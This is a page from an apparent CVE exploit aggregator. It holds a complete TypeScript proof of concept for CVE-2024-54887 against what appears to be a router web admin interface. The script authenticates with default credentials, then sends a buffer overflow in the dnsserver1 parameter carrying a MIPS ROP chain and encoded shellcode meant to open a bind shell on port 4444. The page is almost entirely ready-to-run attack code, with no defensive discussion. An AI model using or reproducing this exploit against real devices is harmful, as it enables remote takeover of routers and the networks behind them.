5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2024-54887.ts TS
import {createHash} from "node:crypto";

type CliArgs = {
    ip: string;
    username: string;
    password: string;
};

function printUsage(): void {
    console.log(`Usage:
  ts-node cve-2024-54887.ts -i <ip> [-u <username>] [-p <password>]
  ts-node cve-2024-54887.ts --ip <ip> [--username <username>] [--password <password>]

Defaults:
  username: admin
  password: admin
`);
}

function parseArgs(argv: string[]): CliArgs | null {
    let ip = "";
    let username = "admin";
    let password = "admin";

    for (let i = 0; i < argv.length; i += 1) {
        const arg = argv[i];
        const next = argv[i + 1];

        if (arg === "-i" || arg === "--ip") {
            ip = next ?? "";
            i += 1;
            continue;
        }
        if (arg === "-u" || arg === "--username") {
            username = next ?? "";
            i += 1;
            continue;
        }
        if (arg === "-p" || arg === "--password") {
            password = next ?? "";
            i += 1;
            continue;
        }
        if (arg === "-h" || arg === "--help") {
            return null;
        }
    }

    if (!ip) {
        return null;
    }

    return {ip, username, password};
}

function percentEncodeBytes(buffer: Buffer): string {
    return Array.from(buffer, (byte) => `%${byte.toString(16).padStart(2, "0")}`).join("");
}

function packUint32BE(value: number): Buffer {
    const buffer = Buffer.alloc(4);
    buffer.writeUInt32BE(value >>> 0);
    return buffer;
}

function extractSessionToken(loginHtml: string): string {
    const match = loginHtml.match(/top\.location\.href='\/([^/]+)\/userRpm\//);
    if (!match?.[1]) {
        throw new Error("Unable to extract authenticated session path from login response.");
    }
    return match[1];
}

async function login(ip: string, username: string, password: string): Promise<{ sessionUrl: string; auth: string }> {
    const passwordHash = createHash("md5").update(password, "utf8").digest("hex");
    const auth = Buffer.from(`${username}:${passwordHash}`, "utf8").toString("base64");

    const url = `http://${ip}/userRpm/LoginRpm.htm?Save=Save`;
    console.log(`[+] Sending login request to: ${url}`);
    const response = await fetch(url, {
        method: "GET",
        headers: {
            Cookie: `Authorization=Basic%20${encodeURIComponent(auth)}`,
            Referer: `http://${ip}/`,
        },
    });

    const body = await response.text();
    const randomUrl = extractSessionToken(body);
    const sessionUrl = `http://${ip}/${randomUrl}/userRpm/`;
    console.log(`[+] Authenticated successfully! Session URL: ${sessionUrl}`);

    return {sessionUrl, auth};
}

async function exploit(sessionUrl: string, auth: string): Promise<void> {
    console.log(`[+] Sending exploit to: ${sessionUrl}Wan6to4TunnelCfgRpm.htm`);
    const libcBase = 0x2aae2000;

    const shellcode = Buffer.from(
        "240ffffa01e0782725e4fffd25e5fffd25e6fffb240210570101010c245010102604eff025e8fffda7a8ffec2408115ca7a8ffee25e8fffba7a8fff025e8fffba7a8fff227a5ffec240a212139462137240210490101010c2604eff025e5fffd2402104e0101010c240efffa01c070272604eff025c5fffb25c6fffb25c7fffb240210480101010c24511010240dfffa01a068272624eff025a5fffb24020fdf0101010c2624eff025a5fffc24020fdf0101010c0220202525a5fffd24020fdf0101010c240cfffa018060273c082f622508696eafa8ffec3c082f7325086868afa8fff0a3a0fff327a4ffecafa4fff8afa0fffc27a5fff82586fffb24020fab0101010c",
        "hex",
    );

    const nop = Buffer.from("2770c001", "hex");
    const sleep = packUint32BE(libcBase + 0x53ca0);
    const gadget1 = packUint32BE(libcBase + 0x3680c);
    const gadget2 = packUint32BE(libcBase + 0x384fc);
    const gadget3 = packUint32BE(libcBase + 0x2459c);
    const gadget4 = packUint32BE(libcBase + 0x154d8);

    let payload = "A".repeat(596);
    payload += percentEncodeBytes(nop);
    payload += percentEncodeBytes(gadget4);
    payload += percentEncodeBytes(nop);
    payload += percentEncodeBytes(sleep);
    payload += percentEncodeBytes(gadget3);
    payload += percentEncodeBytes(gadget2);
    payload += percentEncodeBytes(nop).repeat(3);
    payload += percentEncodeBytes(gadget1);
    payload += "B".repeat(40);
    payload += percentEncodeBytes(shellcode);

    const exploitUrl =
        `${sessionUrl}Wan6to4TunnelCfgRpm.htm?ipv6Enable=on&wantype=5&enableTunnel=on&mtu=1480&manual=2&dnsserver1=${payload}` +
        "&dnsserver2=2001%3A4860%3A4860%3A%3A8888&ipAssignType=0&ipStart=1000&ipEnd=2000&time=86400&ipPrefixType=0&staticPrefix=&staticPrefixLength=64&Save=Save";

    const controller = new AbortController();
    const timeout = setTimeout(() => controller.abort(), 1000);
    try {
        await fetch(exploitUrl, {
            method: "GET",
            headers: {
                Cookie: `Authorization=Basic%20${encodeURIComponent(auth)}`,
                Referer: `${sessionUrl}Wan6to4TunnelCfgRpm.htm`,
            },
            signal: controller.signal,
        });
    } catch {
    } finally {
        clearTimeout(timeout);
    }
}

async function runSpinner(seconds: number): Promise<void> {
    const chars = ["-", "/", "|", "\\"];
    let index = 0;
    const endAt = Date.now() + seconds * 1000;

    while (Date.now() < endAt) {
        process.stdout.write(chars[index % chars.length]);
        process.stdout.write("\b");
        index += 1;
        await new Promise((resolve) => setTimeout(resolve, 100));
    }
}

async function main(): Promise<void> {
    if (process.argv.includes("-h") || process.argv.includes("--help")) {
        printUsage();
        return;
    }
    const args = parseArgs(process.argv.slice(2));
    if (!args) {
        printUsage();
        process.exitCode = 1;
        return;
    }

    const {sessionUrl, auth} = await login(args.ip, args.username, args.password);
    await exploit(sessionUrl, auth);
    console.log("[+] Exploit sent! Giving shellcode time to execute...");
    await runSpinner(8);
    console.log("[+] Done! Check for a bind shell on port 4444");
}

main().catch((error: unknown) => {
    const message = error instanceof Error ? error.message : String(error);
    console.error(`Error: ${message}`);
    process.exitCode = 2;
});